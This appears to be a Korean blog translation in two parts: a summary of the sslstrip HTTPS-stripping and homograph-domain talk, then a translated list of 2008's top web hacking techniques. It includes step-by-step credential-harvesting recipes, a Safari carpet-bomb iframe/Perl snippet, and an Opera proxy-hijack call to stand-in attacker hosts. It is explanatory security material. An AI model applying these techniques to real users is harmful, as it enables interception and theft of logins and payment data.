링크 클릭

HTTP 302 리다이렉트를 통해서

즉, 사람들은 HTTP를 통해서만 SSL에 접속한다.

HTTP man-in-the-middle 공격

SSL은 링크 클릭과 HTTP 302 리다이렉트 중 1가지를 이용해 접속된다는 점을 기억하자.

HTTP man-in-the-middle 공격은 2가지 방법 모두 사용할 수 있다.
첫번째 레시피: sslstrip

결과:

서버는 차이점을 절대 알지 못한다. 모든 것은 안전한 것처럼 보인다. 클라이언트는 아무런 경고도 받지 않는다. 공격자는 모든 트래픽을 볼 수 있다.

아래 사이트는 예제다.

공격자는 다른 것도 볼 수 있다

우리는 부정적인 피드백을 방지했다. 긍정적인 피드백이 있다면 더 좋을 것이다. 사람들은 작은 자물쇠 모양의 아이콘을 좋아하는 것 같다. 자물쇠 아이콘을 보여준다면 어떨까?

예를 들어, 아래와 같이 파비콘을 자물쇠 모양으로 변경한다.

우리는 공격을 망치는 부정적인 피드백을 방지했다.

원한다면 작은 자물쇠 아이콘을 추가할 수도 있다.

아래 사이트들은 눈으로 봐서는 차이점을 알 수 없다.

혼동을 주는 사이트도 있다.

이 공격에 있어서 몇 가지 문제점

Parse하기 힘든 콘텐트 인코딩 (압축, gzip 등)

보안 쿠키는 SSL이 제거된 HTTP상으로 전송되지 않는다.

링크를 제거할 수 없는 캐쉬된 페이지.

간단한 해결책

모든 것을 제거한다.

Set-Cookie Statement에서 보안 비트를 kill하고, 마음에 들지 않는 콘텐트 인코딩을 클라이언트 요청으로부터 제거하고 if-modified-since 헤더도 제거한다.

또 다른 문제점: 세션

가장 관심이 가는 부분은 SSL을 경유해 전송되는 POST다.

username/password가 특히 그렇다.

세션은 로그인 단계를 생략하는 경우가 자주 있다.

물론 세션 쿠키를 얻을 수 있다. 하지만 별 도움이 안 된다.

따라서 세션도 제거하자.

세션은 만료된다. 세션이 언제 혹은 왜 세션이 만료되는지는 항상 명확하지 않다. 하지만, 세션 중간에 만료되는 경우는 드물다. 따라서 다음과 같은 결론을 내릴 수 있다:

네트워크에 대한 man-in-the-middle 공격을 시작할 때는 모든 트래픽을 제거한다. 하지만 쿠키는 5분 혹은 특정 시간 동안 건드리지 않는다. 쿠키가 전송되면 Active Session을 기록한다. 시간이 경과되면 시간이 지나면 세션을 kill한다. 이전에 본 적이 없는 세션만 kill해야 한다. 사라지더라도 의심을 사지 않는 “오래 실행되는” 세션이어야 한다.

이 트릭을 이용해 획득한 것들은 다음과 같다:

야후 로그인: 114개

지메일: 50개

ticketmaster.com: 42개

rapidshare.com: 14개

핫메일: 13개

PayPal.com: 9개

linkedin.com 9개

facebook.com 3개

24시간 이내에 이메일 계정 117개, 신용 카드 번호 16개, PayPal 로그인 7개, 기타 보안 로그인 300개 이상을 획득할 수 있었다.

이 기술을 Homograph 공격과 함께 사용한다면

PayPal.com은 paypaI.com처럼 보이지만 실제로는 I의 대문자를 포함한 paypai.com이다. IDN은 영문자와 비슷해 보이는 자국어 문자를 도메인으로 등록하는 것을 가능하게 해 준다. 2005년, 에릭 존슨은 p&#1072;ypal.com 도메인을 등록했다. 이 도메인은 Cryllic 문자 중 "a"처럼 보이는 문자가 포함되어 있기 때문에 paypal.com으로 착각할 수 있다. 이 IDN 취약점은 픽스되었다. 파이어폭스는 IDN을 주소창과 상태바 모두에 퓨니코드로 표시한다. 따라서 &#1072;ypal.com을 브라우저로 열면 주소창에 다음과 같이 표시된다.

따라서 파이어폭스에서 퓨니코드로 표시되는 최상위 도메인은 SSL 공격에 사용될 수 없다. 도메인의 문자 몇 개만 바꾸는 것으로는 부족하다. 다른 공격이 필요하다. 대부분 URL에 사용되는 . / &을 사용하면 어떨까? 예를 들어,

ijjk.cn 도메인을 등록한다.

이 도메인에 대해 SSL 와일드카드 인증서를 적용한다.

'/'와 '?'와 아주 유사해 보이는 IDN 문자를 사용해 가짜 URL을 생성한다.

HTTP를 man-in-the-middle해 HTTPS 링크를 제거한다. HTTPS 링크만 제거하는 것이 아니라 원하는 도메인으로 보이도록 트릭을 사용한다.

트릭

예를 들어, https://www.gmail.com/accounts/ServiceLogin 으로 보이도록
https://www.gmail.com/accounts/ServiceLogin?!f.ijjk.cn으로 설정한다.

이 도메인은 URL 주소창이나 상태바에 퓨니코드로 표기되지 않는다. 이 도메인은 리졸브되면 www.google.xn--comaccountsservicelogin-5j9pia.f.ijjk.cn이 된다.

이 접속을 man-in-the-middle하면 SSL 접속을 사용하되, 유효한 *.ijjk.cn 인증서를 클라이언트에 제시할 수 있다.

예제

이 트릭의 좋은 점...

실시간이다.

사용자가 브라우징하는 어떤 보안 사이트도 타겟으로 할 수 있다.

여러 개의 인증서가 필요 없다. 공격을 유명 사이트로 제한할 필요도 없다.

POST를 획득하면 정상적인 트래픽으로 되돌려놓을 수 있다.

교훈

HTTPS 보안은 안전하지 못한 HTTP를 경유해 적용되는 경우가 많다.

공격시 오류 경고창이 뜨지 않도록 하고 싶다면 HTTPS가 아닌, HTTPS로 시작한다.

그런 다음에, 사람들이 좋아하는 자물쇠 아이콘 등의 모든 표시를 적용할 수 있다.

다른 트릭들

sslstrip

http://www.thoughtcrime.org

▶ [보고서] 화이트햇 시큐리티 - 2008년도 웹 해킹 Top 10

(출처: http://jeremiahgrossman.blogspot.com/2009/02/top-ten-web-hacking-techniques-of-2008.html)

* 화이트햇 시큐리티의 예레미아 그로스맨이 2008년도 웹 해킹 Top 10 리스트를 발표했다. 이 리스트는 2008년 발표되었던 웹 해킹 기술들을 독창성/영향력/보급력을 기준으로 순위를 매긴 것으로, 그로스맨은 4월 열리는 RSA 컨퍼런스 2009에서 이 기술들의 세부 사항과 이 기술들을 이용해 할 수 있는 것들, 영향, 해결책을 소개할 예정이다.

1. GIFAR

(Billy Rios, Nathan McFeters, Rob Carter, John Heasman)

2008년 12월, 선마이크로시스템스는 이 취약점에 관한 패치를 발표했다. 네이트 맥피터는 블랙햇 USA에서 GIFAR의 개념과 공격에 어떻게 사용될 수 있는지에 관한 훌륭한 프레젠테이션을 발표했다. 현재 이 취약점은 패치되었지만 이 취약점에 관해 흥미롭다고 생각되는 점들 (블랙햇에서 다뤄지지 않았던 내용 포함)을 소개한다.

블랙햇에서 네이트가 보여준 것처럼, GIFAR 파일을 생성하는 것은 간단하다. 윈도우즈 커맨드 "copy"나 유닉스 계열 커맨드 "cat"을 이용해 GIFAR를 생성한 뒤 이 파일을 HEX 에디터로 연다. 이 파일 헤더와 Footer는 대략 다음과 같다.

우리는 방금 유효한 GIF와 유효한 Java JAR를 생성했다. 이 GIFAR를 상대방 도메인, 예를 들어 구글 피카사웹에 업로드한다. 웹서버는 이 파일을 GIF 파일로 간주하지만 브라우저의 자바 가상 머신은 이 파일을 자바 아카이브 파일로 간주해 애플릿으로 실행하기 때문에 공격자는 사용자 브라우저에 자바코드를 실행할 수 있다. 브라우저는 이 악성 애플릿을 웹사이트 개발자작 제작한 애플릿으로 간주한다. 공격자는 유명 웹사이트에 프로필을 생성하고 GIFAR를 이미지로 업로드한 뒤 사용자를 악성 웹사이트로 유인해 GIFAR를 열도록 할 수 있다. 이 애플릿은 브라우저에서 실행되어 공격자는 사용자의 계정에 접속할 수 있다.

2. 구글 기어스 Cross-Origin 커뮤니케이션 모델

(Yair Amit)

다른 RIA와 마찬가지로, 구글 기어스는 개발자에게 Cross-Origin 커뮤니케이션 기능을 제공한다. 이 기능을 이용하면 매쉬업과 기타 원하는 기능을 쉽게 구현할 수 잇기 때문에 개발자들에게 있어 아주 중요하다. 하지만 Cross-Origin 커뮤니케이션은 보안적인 측면에서 볼 때 부정적인 면이 존재하기 때문에 어설프게 구현하는 경우 공격자는 Cross-Origin 정책을 우회하고 사용자로 위장하는 대규모 공격을 수행할 수 있다. 공격 방법은 다음과 같다:

공격자는 악성 구글 기어스 커맨드 (HttpRequest 모듈 등을 사용해 DB에 접속)를 포함하는 텍스트 파일을 생성한다.

공격자는 이 텍스트 콘텐트를 타겟 도메인 (예를 들어
http://TARGET.SITE/Upload/innocent.jpg)에 넣다. 구글 기어스 "worker" 코드는 <,> 등의 의심스러운 문자를 포함하지 않기 때문에 http://TARGET.SITE의 서버-사이드 로직에 필터될 가능성은 적다.

공격자는 http://TARGET.SITE/Upload/innocent.jpg를 로드하고 실행하는 구글 기어스 코드 일부를 포함하는 http://ATTACKER.SITE/attack.html 을 생성한다.

innocent.jpg에 임베드된 코드는 http://TARGET.SITE에서 실행된다 따라서 DB, 로컬 서버 데이터, 웹 리소스 등의 구글 기어스 클라이언트 오브젝트 접속 권한을 획득하게 된다.

수집한 모든 정보는 구글 기어스의 표준 메시징 메커니즘을 사용해 공격자 사이트로 쉽게 전송될 수 있다.

3. 사파리 카펫 폭탄

(Nitesh Dhanjani)

사기 웹사이트를 이용해 사용자 데스크탑 (윈도우즈)이나 다운로드 디렉토리 (OSX의 경우 ~/Downloads/)에 악성 파일을 삽입할 수 있다. 이것이 가능한 이유는 사파리 브라우저는 다운로드하기 전 사용자의 허락을 구하지 않도록 설정었기 때문이다. 사파리는 사용자 허가 없이 파일을 다운로드해 디폴트 위치에 저장한다. 예를 들어 http://malicious.example.com/이라는 악성 사이트를 방문한다고 가정하자. 이 사이트는 다음과 같은 HTML을 사용하고 있다.

<HTML>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>

...

...

...

...

<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>

</HTML>

http://malicious.example.com/cgi-bin/carpet_bomb.cgi 가 다음과 같다면,

#!/usr/bin/perl

print "Content-type: blah/blah\n\n"

사파리는 blah/blah\n\n" 콘텐트 유형을 알지 못하기 때문에 자동으로 carpet_bomb.cgi 다운로드를 시작한다. 이 다운로드는 윈도우즈에서 사파리를 사용해

http://malicious.example.com/를 방문할 때마다 발생한다.

4. 클릭재킹/비디오재킹

(Jeremiah Grossman, Robert Hansen)

CSRF는 다른 웹사이트의 기능들과 상호작용한다. CSRF로부터 방어하는 중요한 방법은 1회용 토큰 (Nonce)을 사용해 페이지를 검증하는 것이다. Nonce를 회피하려면 브라우저가 Nonce를 반드시 사용하도록 하는 것이다. Nonce를 회피하려면 브라우저는 다른 도메인의 데이터에 접속을 획득해야 한다. 클라이언트 사이드 취약점으로부터 제대로 방어하려면 브라우저의 동일 출처 정책에 의거해 크로스 도메인을 허용해서는 안 된다. 하지만 클릭재킹은 크로스 도메인을 읽는 대신, 타겟 영역에 직접 마우스를 가져가 Nonce를 포함하는 링크나 Form을 클릭하도록 하는 방법을 사용한다. 따라서 클라이언트 사이드 크로스 도메인 읽기 익스플로잇이 필요없다.

5. 다른 오페라

(Stefano Di Paola)

오페라의 설정은 변경 가능하다. 예를 들어, 리모트 프록시를 설정하려면

1. historysearch에 src='opera:config' 으로 iframe을 추가한다.

2. opera.setPreference("Proxy","HTTP Server","at.tack.er:8080")를 실행하는 스크립트를 iframe에 추가한다.

q= parameter는 XSS에 잠재적으로 취약하기 때문에 유사한 콘텐트를 로드해 캐쉬에 저장할 수 있다.

6. HTML 5 Structured 클라이언트-사이드 스토리지 악용

(Alberto Trivero)

클라이언트-사이드 스토리지는 현대 웹 기술의 심장부로 많은 웹 개발자들에게 있어 아주 중요하다. 현재 대부분 웹 브라우저들은 각기 나름대로의 방법으로 클라이언트 머신에 데이터를 저장한다. 가장 오래된 유명하고 간단한 방법은 HTTP 쿠키다. HTTP 쿠키의 구조적 한계를 보충하기 위해 브라우저나 플러그인, 기타 기술들이 개발되었다. 이같은 혼란을 해결하고 표준을 제정하기 위해 WHATWG는 W3C HTML 워킹그룹과 함께 HTML 5를 개발했다. HTML5가 W3C 후보 권고안에 포함되려면 2012년이나 되어야 가능하겠지만, 이미 일부 기술을 적용하고 있는 브라우저들도 있다. HTML5 클라이언트-사이드 스토리지는 웹 개발자에게 있어서는 강력한 도구지만 신종 보안 위험을 야기한다. 이 스토리지 기술은 현재로는 아직 많이 보급되지는 않았지만 향후 몇 개월 이내로 브라우저 벤더와 웹 개발자들에 의해 널리 적용될 것이다.

7. 크로스-도메인 - 인증된 CSS를 통한 사이트 로그인 노출

(Chris Evans, Michal Zalewski)

얼마 전, 사용자가 주어진 사이트에 로그인했는지 안했는지를 알아래는 공격에 관해 예레미아 그로스맨과 이야기를 나눈 적이 있었다. 이 공격은 인증된 사용자만 사용할 수 있는 URL에서 이미지를 호스팅하는 사이트에 적용된다. 사용자가 로그인했는지 여부를 알아내는 또다른 방법은 브라우저 크로스-도메인 처리의 또 다른 취약한 영역인 CSS를 이용하는 것이다. <link> 태그를 이용하면 임의의 도메인으로부터 CSS 리소스를 로드할 수 있다.

1) CSS style과 속성을 안다면 임의의 CSS 속성값을 읽을 수 있다.

2) 대부분 웹사이트는 사용자가 로그인했는지 안했는지에 따라 다른 CSS를 제공한다.

3) 브라우저는 HTML에서 in-line 스타일의 정의를 가져간다.

따라서 로그인했는지 여부를 알아낼 수 있다.

8. SQL 인젝션을 이용한 HTTP TCP 터널링

(Glenn Willinson, Marco Slaviero, Haroon Meer)

아주 오래전 공격자는 머신을 침입한 후 텔넷을 사용했다. 방화벽이 이것을 금지했다. 공격자는 tcp, fport 등의 맞춤형 소프트웨어나 ssh, netcat 등을 이용해 리버스 터널링을 시작했다. Outbound 필터링이 이것을 금지했다. 공격자는 웹 쉘을 이용하기 시작했다. 하지만 이제는 침입당한 머신으로부터 데이터를 터널링하는 기술이 있다. XP의 IPv6 지원은 포트 프록시로 사용될 수 있다. netsh 커맨드를 이용하면 인터넷에 접속된 머신을 다른 머신 (방화벽을 사용하는 내부 머신)의 다른 포트로 리다이렉트하는 프록시를 설정할 수 있기 때문에, 1대의 머신이 침입당하면 다른 머신에 접속할 수 있다. sshl -L과 -R을 사용하면 유닉스 호스트에서 유사한 효과를 얻을 수 있다. 머신이 장악당하면 방화벽은 제거된다. DNS2TCP도 있다. DNS2TCP를 이용하면 침입당한 머신은 DNS상의 임의의 TCP의 양방향 터널링을 허용한다. 물론 방화벽도 우회한다. 센스포스트는 자체 제작한 어플리케이션 glenn.jsp를 시연한 바 있다. 따라서 만일 공격자가 웹서버를 제어한다면 방화벽은 여러 방법으로 우회되어 네트워크는 공격자에게 개방된다. 공격자가 SQL 인젝션을 사용해 침입한다면 어떻게 될까? Squeeza는 고급 SQL 인젝션 툴로, 콘텐트를 분리해 전송한다. 분리된 콘텐트는 HTTP 오류, DNS 터널링, 심지어 블라인드 타이밍 채널을 통해 받을 수 있다. 속도는 수백밀리초당 1비트 전송으로 아주 느리지만 모든 콘텐트를 전송할 수 있다.

9. 액티브X 용도변경

(Haroon Meer)

액티브X 컨트롤은 서버로부터 새로운 소프트웨어 정보를 받아 스스로 업그레이드되는 기능을 포함한다. 컨트롤 인스턴스화와 신규버전 번호, 다운로드 파일 URL 경로를 이용하면 클라이언트로 하여금 악성 파일을 다운로드하도록 할 수 있다.

10. 플래시 Parameter 인젝션

(Yuval Baror, Ayal Yogev, Adi Sharabani)

OWASP NYC AppSec 컨퍼런스에서 IBM의 Adi Sharabani와 Ayal Yogev는 플래시 보안에 관한 프레젠테이션을 통해 FPI(Flash Parameter Injection)이라 불리는 플래시 공격을 발표했다. 이 공격을 이용하면 공격자는 동영상이 parent HTML 페이지에 임베드되었을 때 글로벌 플래시 Parameter를 삽입해 페이지 DOM은 물론 플래시 동영상의 다른 오브젝트도 장악할 수 있다. 플래시 공격 기술은 여러 가지가 있다. 첫째, 간단한 DOM 기반 인젝션을 이용하면 공격자는 웹서버 모르게 오리지널 HTML 페이지의 URI를 이용해 플래시 Parameter를 삽입할 수 있어, IDS나 IPS를 무용지물로 만든다. 둘째, HTML Form 혹은 URI Parameter를 이용해 글로벌 플래시 Parameter를 삽입할 수 있다. 셋째, 플래시 동영상 레퍼런스를 사용 Parameter값을 무효화할 수 있다. 넷째, HTML 오브젝트 태그를 이용해 FPI를 아카이브할 수 있다. 다섯째, 퍼시스턴트 플래시 Parameter 인젝션을 이용해 인젝션에 지속성을 부여하면 인젝션을 허용하는 취약점이 픽스된 후에도 활성화된 상태로 남게 할 수 있다.

리스트

CUPS 탐지

uTorrent 플러그인 CSRF

클릭재킹 / 비디오재킹

HTTP Verb 조작을 이용한 URL 인증 및 권한부여 우회

나는 당신이 유튜브에서 무엇을 봤는지 알고 있다 (CSRF + Crossdomain.xml)

사파리 카펫 폭탄

플래시 클립보드 하이재킹

플래시 인터넷 익스플로러 보안 모델 버그

프레임 인젝션

무료 맥월드 플래티넘 패스

작은 웜, 161 바이트 웹 웜

SNMP XSS 공격 (1)

IE7에서 자바스크립트를 사용하지 않고 Res Timing 파일 Enumeration하기

퍼시스턴트 XSS로 Basic Auth 훔치기

오픈 HTTP 프록시를 통한 SMTP 밀반출

무료 ‘소액 예금’ 수집

브라우저 URL 히스토리로 성별 추정하기

크로스-파일 업로드 공격

Image Dimension을 이용한 동일출처정책 우회

HTTP 프록시로 방화벽 우회하기

CSRF로 종교 입문하기

인증된 CSS를 이용한 크로스-도메인 - 사이트 로그인 유출

자바스크립트 글로벌 네임스페이스 오염

GIFAR

HTML/CSS 인젝션 - 프리미티브(Primitive) 악성 코드

웹 인터페이스를 통한 인트라넷 해킹

쿠키 Path Traversal

쿠키 레이스 컨디션

MySQL과 SQL Column Truncation 취약점

클라이언트 사이드 어플리케이션으로 파괴적인 파일 공유 구축하기

파이어폭스 XML 인젝션 원격지 XML Parse

파이어폭스 크로스-도메인 정보 훔치기

파이어폭스 2와 WebKit의 크로스 도메인 이미지 훔치기 취약점

브라우저의 고스트 버스터

쿠키값을 echo하는 XSS 취약점 익스플로잇

구글 기어스 Cross-Origin 커뮤니케이션 모델 익스플로잇하기

플래시 Parameter 인젝션

크로스 환경 Hopping

로그아웃 XSS 취약점 익스플로잇하기

CSRF 보호를 사용하는 XSS 익스플로잇하기

액티브X 용도 변경, (1, 2)

SQL 인젝션을 이용한 http상의 TCP 터널링

TCP 재발명하기

CUPS 로컬 DoS와 특수 제작된 웹페이지를 이용한 원격지 익스플로잇 (1)

자바스크립트 코드 플로우 조작

localhost dns의 잘못된 설정을 이용한 "same site" 스크립팅

system32 블라인드 SQL 인젝션

다이얼로그 스푸핑 - 파이어폭스 Basic Authentication

스카이프 크로스-존 스크립팅 취약점

사파리로 인터넷 익스플로러 장악하기

IE "Print Table of Links" 크로스-존 스크립팅 취약점

다른 오페라

HTML 5 Structured 클라이언트-사이트 스크립트 공격

SSID 스크립트 인젝션

DHCP 스크립트 인젝션

파일 다운로드 인젝션

네비게이션 하이재킹 (프레임/탭 인젝션 공격)

플래시를 이용한 UPnP 해킹

VoIP폰 도청

소셜 네트워크 공격

재귀 파일 인클루드 DoS

Multi-Pass 필터 우회

세션 확장

XSS를 경유한 코드 실행 (1)

리다이렉터

퍼시스턴트 SQL 인젝션

UTF-7을 이용한 JSON 하이재킹 Hijacking with UTF-7

SQL 공격

PHP 소켓 악용하기 (1, 2)

노벨 GroupWise WebAccess CSRF